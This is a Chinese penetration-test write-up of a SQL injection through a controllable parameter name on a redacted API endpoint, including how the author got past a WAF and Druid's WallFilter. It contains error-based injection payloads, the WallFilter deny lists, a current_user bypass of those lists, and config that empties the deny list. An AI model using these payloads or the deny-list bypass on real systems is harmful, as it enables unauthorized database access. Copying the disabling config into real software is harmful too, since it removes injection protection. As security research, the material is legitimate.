004-渗透案例:记一次SQL注入_参数名可控

简述

项目上遇到一个有意思的SQL注入,一个GET请求可以自己添加键值,传入的键值会拼接到SQL语句中,造成SQL注入。过程中需要绕过403Waf,和druid WallFilter

漏洞链接:

1
https://xxxxxxx.cn/xxxx-api/xxxx-desk/notice/list?descs=release_time&current=1&size=10&sqli_point=value

发现过程

本来是怀疑 descs 排序点的注入的,通过 XG_SQL插件进行探测,发现还能自己传键值对进去,真有意思 img

根据回显的报错语句可以判断,漏洞联接中传入的 sqli_point 会被传输到 LIKE 前,sqli_point 的值则会进行预处理。

1
2
3
4
### Error querying database. 
………………
### SQL: SELECT COUNT(*) AS total FROM xxxx_notice WHERE is_deleted = 0 AND (order LIKE ?) AND tenant_id = '000000'
……

绕WAF

因为服务端会返回报错语句,第一反应就是尝试报错语句。结果被WAF 403了

1
?descs=release_time&current=1&size=10&updatexml(1,concat(0x7e,(version()),0x7e),1)=1

img

一般都是关键词和语义的过滤,尝试探测waf机制

Druid 的WallFilter

传入参数

1
?descs=release_time&current=1&size=10&version()=1

触发报错:

1
Error querying database.  Cause: java.sql.SQLException: sql injection violation, dbType mysql, druid-version 1.2.16, deny function : version : SELECT COUNT(*) AS total FROM xxxxx_notice WHERE is_deleted = 0 AND (version() LIKE ?) AND tenant_id = '000000'

根据报错发现是 Druid 的 WallFilter SQL 注入防护机制

WallFilter 是阿里巴巴的数据库连接池Druid中一个特殊的 Filter,主要功能是用于监控 SQL 安全,并基于 SQL 语法进行分析,理解其中的 SQL 语义,然后作出智能准确的处理,从而避免 SQL 注入。

Druid 的WallFilter(SQL 防火墙过滤器)是默认开启的,它会检测 SQL 中是否包含黑名单里的函数 / 关键词

黑名单的配置文件

Druid 的配置文件(以 Spring Boot 为例)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
spring:
  datasource:
    druid:
      # 开启WallFilter(默认开启,此处显式配置)
      wall:
        enabled: true
        # 放行user函数(核心配置)
        config:
          deny-functions: ''  # 清空默认禁用函数,或只保留其他需要禁用的
          # 或精准放行:allow-functions: user
          # 补充:如果是旧版配置方式,可直接设置wall.config.denyFunctions=

若使用 XML 配置(非 Spring Boot):

1
2
3
4
5
6
7
8
<bean id="wallConfig" class="com.alibaba.druid.wall.WallConfig">
    <!-- 清空禁用函数列表,放行user -->
    <property name="denyFunctions" value=""/>
    <!-- 或只禁用其他函数,保留user:value="eval,exec,password" -->
</bean>
<bean id="wallFilter" class="com.alibaba.druid.wall.WallFilter">
    <property name="config" ref="wallConfig"/>
</bean>

alibaba/druid - WallFilter拦截规则

 WallFilter 的默认拦截策略是不允许 SQL 中带有注释

原因是默认配置下,WallFilter 拦截了如下函数和关键字:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
deny-function:
  version
  load_file
  database
  schema
  user
  system_user
  session_user
  benchmark
  current_user
  sleep
  xmltype
  receive_message

deny-schema:
  information_schema
  mysql
  performance_schema    

deny-variant:
  basedir
  version_compile_os
  version
  datadir

使用 其他函数的替换这些黑名单的函数

这里 current_user 虽然在黑名单里,但是实际过程中还是能执行,这是一个bug。

WallFilter 默认拦截的是函数,当执行 current_user()时会被拦截,但执行 current_user时就不会被拦截

1
2
3
4
5
&current_user()=1 ==>
Error querying database.  Cause: java.sql.SQLException: sql injection violation, dbType mysql, druid-version 1.2.16, deny function : current_user 

&current_user=1 ==>
成功返回

参考文献

文件属性

创建时间:2026-01-14 16:50

修订记录:

  • 2026-01-14 ,此次修订内容| 新建

备注: XXXXX

0%